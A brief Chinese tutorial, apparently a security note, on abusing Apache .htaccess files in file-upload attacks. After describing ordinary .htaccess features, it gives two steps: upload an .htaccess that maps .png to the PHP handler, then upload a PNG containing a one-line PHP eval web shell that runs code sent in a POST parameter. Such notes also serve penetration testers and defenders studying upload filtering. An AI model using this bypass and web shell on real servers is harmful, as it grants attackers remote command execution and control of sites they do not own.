文件上传-.htaccess利用

限于Apache

.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：

• 网页301重定向
• 自定义404错误页面
• 改变文件扩展名
• 允许/阻止特定的用户或者目录的访问
• 禁止目录列表
• 配置默认文档等功能。

笼统地说，.htaccess可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表，以及使用其他文件作为index文件等一些功能。

1、上传.htaccess

AddType application/x-httpd-php .png

2、上传png

<?php @eval($_POST['shell']);?>